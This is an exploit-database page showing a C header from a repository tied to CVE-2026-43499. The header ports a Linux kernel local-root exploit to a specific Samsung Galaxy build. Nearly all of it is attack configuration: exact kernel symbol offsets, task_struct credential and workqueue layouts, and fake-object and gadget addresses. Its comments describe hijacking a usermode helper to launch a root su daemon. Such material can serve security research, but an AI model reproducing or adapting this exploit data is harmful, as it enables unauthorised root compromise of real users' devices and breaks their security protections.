Exploit databaseDownload repository ZIP
GH-32a6031d9befd4bcf7fc51dbdccd8172
xrzcc/s26-m1q-ghostlock-selinux
Sources for CVE-2026-43499
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
xrzcc/s26-m1q-ghostlock-selinuxRevision 394519990924
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
m3q-temp-root/target-m1q/target.h
Text · 7,326 bytes#ifndef M1Q_UES4AZG3_TARGET_H
#define M1Q_UES4AZG3_TARGET_H
/*
* m1q US (SM-S942U1) port of the m3q AZG3 route. Same GKI commit pd30ff70:
* every kernel text/BTF offset is byte-for-byte identical; only the device
* identity strings and the physical kernel load address differ.
*/
#include "../../base/samsung-bp4a/target.h"
#undef BUILD_VARIANT_LABEL
#define BUILD_VARIANT_LABEL "m1q_BP4A_251205_006_S942U1UES4AZG3"
#undef BUILD_FINGERPRINT
#define BUILD_FINGERPRINT \
"samsung/m1quew/m1q:16/BP4A.251205.006/" \
"S942U1UES4AZG3_OYM4AZG3:user/release-keys"
#define TARGET_DEVICE "m1q"
#define TARGET_BUILD_INCREMENTAL "S942U1UES4AZG3"
#define TARGET_KERNEL_RELEASE \
"6.12.30-android16-5-pd30ff70-abogkiS942USQS4AZG3-4k"
#define TARGET_KERNEL_SHA256 \
"a9eb1d49914d04a9709850364967477755482f8d7d7b12e56c06f9347f31c92e"
#define M3Q_RECLAIM_PERFETTO_TRIGGER "m1q-ues4azg3-reclaim-v1"
/* m1q US physical kernel load (recovered from xbl_config memory map). */
#undef P0_KERNEL_PHYS_LOAD
#define P0_KERNEL_PHYS_LOAD 0xc7800000ULL
/*
* The inherited target used configfs_bin_read_iter. That implementation
* dereferences configfs dentry state. AZG3's ordinary configfs_read_iter
* only consumes a deliberately supplied configfs_buffer when
* needs_read_fill is clear, so the m3q route uses that exact implementation.
*/
#undef CONFIGFS_READ_ITER_OFF
#define CONFIGFS_READ_ITER_OFF 0x00518860ULL
#undef CONFIGFS_READ_ITER
#define CONFIGFS_READ_ITER (KIMAGE_TEXT_BASE + CONFIGFS_READ_ITER_OFF)
/* Exact AZG3 configfs_buffer fields recovered from read/write disassembly. */
#undef CFG_PAGE_OFF
#define CFG_PAGE_OFF 0x10
#undef CFG_NEEDS_READ_FILL_OFF
#define CFG_NEEDS_READ_FILL_OFF 0x50
#undef CFG_BIN_BUFFER_OFF
#define CFG_BIN_BUFFER_OFF 0x58
#undef CFG_BIN_BUFFER_SIZE_OFF
#define CFG_BIN_BUFFER_SIZE_OFF 0x60
#undef CFG_CB_MAX_SIZE_OFF
#define CFG_CB_MAX_SIZE_OFF 0x64
/*
* Exact AZG3 BTF pipe_inode_info layout. Keep these overrides local: the
* shared source uses the non-DEBUG_MUTEXES layout, while this image
* is the +0x10 family (BTF size 0xb8, tmp_page +0x90, bufs +0xa8).
*/
#undef PIPE_INODE_INFO_STRUCT_SIZE
#define PIPE_INODE_INFO_STRUCT_SIZE 0xb8
#undef PIPE_INODE_INFO_SIZE
#define PIPE_INODE_INFO_SIZE 0xc0
#undef PIPE_INODE_INFO_SLOTS_PER_PAGE
#define PIPE_INODE_INFO_SLOTS_PER_PAGE 21
#undef PIPE_HEAD_OFF
#define PIPE_HEAD_OFF 0x60
#undef PIPE_TAIL_OFF
#define PIPE_TAIL_OFF 0x64
#undef PIPE_MAX_USAGE_OFF
#define PIPE_MAX_USAGE_OFF 0x68
#undef PIPE_RING_SIZE_OFF
#define PIPE_RING_SIZE_OFF 0x6c
#undef PIPE_NR_ACCOUNTED_OFF
#define PIPE_NR_ACCOUNTED_OFF 0x70
#undef PIPE_READERS_OFF
#define PIPE_READERS_OFF 0x74
#undef PIPE_WRITERS_OFF
#define PIPE_WRITERS_OFF 0x78
#undef PIPE_FILES_OFF
#define PIPE_FILES_OFF 0x7c
#undef PIPE_TMP_PAGE_OFF
#define PIPE_TMP_PAGE_OFF 0x90
#undef PIPE_BUFS_OFF
#define PIPE_BUFS_OFF 0xa8
#undef PIPE_USER_OFF
#define PIPE_USER_OFF 0xb0
/* Exact initialized/BSS symbol offsets from the recovered AZG3 ELF. */
#undef INIT_TASK_OFF
#define INIT_TASK_OFF 0x0252d040ULL
#undef INIT_UTS_NS_OFF
#define INIT_UTS_NS_OFF 0x026b8658ULL
/* The Rust ashmem table has a real show_fdinfo adapter on this image. */
#define ASHMEM_SHOW_FDINFO_OFF 0x00e0cce4ULL
#undef ASHMEM_SHOW_FDINFO
#define ASHMEM_SHOW_FDINFO (KIMAGE_TEXT_BASE + ASHMEM_SHOW_FDINFO_OFF)
/* Exact BTF type 430 (struct task_struct). */
#undef FAKE_TASK_TASK_GROUP_OFF
#define FAKE_TASK_TASK_GROUP_OFF 0x420
#undef MM_OWNER_OFF
#define MM_OWNER_OFF 0x410
#undef TASK_REAL_CRED_OFF
#define TASK_REAL_CRED_OFF 0x8f8
#undef TASK_CRED_OFF
#define TASK_CRED_OFF 0x900
#undef TASK_COMM_OFF
#define TASK_COMM_OFF 0x910
#undef TASK_TASKS_OFF
#define TASK_TASKS_OFF 0x638
#undef TASK_SECCOMP_OFF
#define TASK_SECCOMP_OFF 0x9c8
/* Exact BTF type 10907 (struct rt_mutex_waiter). */
#undef WAITER_LOCAL_OFF
#define WAITER_LOCAL_OFF 0xa0
#undef WAITER_PI_TREE_ENTRY_OFF
#define WAITER_PI_TREE_ENTRY_OFF 0x28
#undef WAITER_TASK_OFF
#define WAITER_TASK_OFF 0x50
#undef WAITER_LOCK_OFF
#define WAITER_LOCK_OFF 0x58
#undef WAITER_WAKE_STATE_OFF
#define WAITER_WAKE_STATE_OFF 0x60
#undef WAITER_PRIO_OFF
#define WAITER_PRIO_OFF 0x18
#undef WAITER_DEADLINE_OFF
#define WAITER_DEADLINE_OFF 0x20
#undef WAITER_WW_CTX_OFF
#define WAITER_WW_CTX_OFF 0x68
/*
* Ephemeral Root-My-Galaxy-style transition. These symbols and layouts are
* exact for the audited AZG3 vmlinux; no task/cred/KDP object is modified.
* The helper starts a root Unix-socket daemon and all privilege disappears
* on reboot.
*/
#define ROOT_UMH_PATH \
"/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie"
#define CALL_USERMODEHELPER_EXEC_WORK_OFF 0x000f8f0cULL
#define SYSTEM_UNBOUND_WQ_OFF 0x01914250ULL
#define CALL_USERMODEHELPER_EXEC_WORK \
(KIMAGE_TEXT_BASE + CALL_USERMODEHELPER_EXEC_WORK_OFF)
#define SYSTEM_UNBOUND_WQ (KIMAGE_TEXT_BASE + SYSTEM_UNBOUND_WQ_OFF)
/*
* Fast misc/simple_attr carrier, recovered from the exact AZG3 image.
* A temporary fake uinput misc node supplies two file descriptors whose
* private_data remains in the held skb workspace. The controller descriptor
* retargets the data descriptor; the data descriptor then uses the kernel's
* typed debugfs u64 accessors. No static read-only fops and no filp slab are
* modified.
*/
#define MISC_LIST_OFF 0x0264cfe0ULL
#define UINPUT_MISC_OFF 0x02671800ULL
#define SIMPLE_ATTR_READ_OFF 0x00484d3cULL
#define SIMPLE_ATTR_WRITE_OFF 0x00484e8cULL
#define DEBUGFS_U64_GET_OFF 0x00675384ULL
#define DEBUGFS_U64_SET_OFF 0x00675398ULL
#define DEFAULT_LLSEEK_OFF 0x0043fb54ULL
/* m1q US (S942USQS4AZG3): "%llu\n" string literal sits at Image byte offset
* 0x18be529 (verified by reading the Image and by fops_u64_open disassembly
* adrp 0x18be000 + add #0x529). The m3q build placed it at 0x18be5e9, but on
* the US image that offset holds "GWVRn_EL1(1)", so it must be overridden. */
#define DEBUGFS_U64_FORMAT_OFF 0x018be529ULL
#define MISC_LIST (KIMAGE_TEXT_BASE + MISC_LIST_OFF)
#define UINPUT_MISC (KIMAGE_TEXT_BASE + UINPUT_MISC_OFF)
#define SIMPLE_ATTR_READ (KIMAGE_TEXT_BASE + SIMPLE_ATTR_READ_OFF)
#define SIMPLE_ATTR_WRITE (KIMAGE_TEXT_BASE + SIMPLE_ATTR_WRITE_OFF)
#define DEBUGFS_U64_GET (KIMAGE_TEXT_BASE + DEBUGFS_U64_GET_OFF)
#define DEBUGFS_U64_SET (KIMAGE_TEXT_BASE + DEBUGFS_U64_SET_OFF)
#define M3Q_DEFAULT_LLSEEK (KIMAGE_TEXT_BASE + DEFAULT_LLSEEK_OFF)
#define DEBUGFS_U64_FORMAT (KIMAGE_TEXT_BASE + DEBUGFS_U64_FORMAT_OFF)
/* Free payload bytes after fake_task and before the optional stage-3 PGD. */
#define ROOT_UMH_WORK_OFF 0x3c80
#define ROOT_UMH_DATA_OFF 0x3d00
/* Exact Android 16 / Linux 6.12.30 BTF member offsets. */
#define WQ_DFL_PWQ_OFF 0xc0
#define WQ_MAX_ACTIVE_OFF 0xa4
#define WQ_FLAGS_OFF 0x100
#define WQ_NODE_NR_ACTIVE_OFF 0x110
#define WQ_UNBOUND_FLAG (1U << 1)
#define M3Q_NR_NODE_IDS 1
#define PWQ_POOL_OFF 0x00
#define PWQ_WQ_OFF 0x08
#define PWQ_WORK_COLOR_OFF 0x10
#define PWQ_REFCNT_OFF 0x18
#define PWQ_NR_IN_FLIGHT_OFF 0x1c
#define PWQ_PLUGGED_OFF 0x5c
#define PWQ_NR_ACTIVE_OFF 0x60
#define PWQ_INACTIVE_WORKS_OFF 0x68
#define PWQ_PENDING_NODE_OFF 0x78
#define POOL_NODE_OFF 0x08
#define POOL_WORKLIST_OFF 0x28
#define POOL_NR_IDLE_OFF 0x3c
#define WQ_NNA_MAX_OFF 0x00
#define WQ_NNA_NR_OFF 0x04
#define WORK_DATA_OFF 0x00
#define WORK_ENTRY_OFF 0x08
#define WORK_FUNC_OFF 0x18
#endif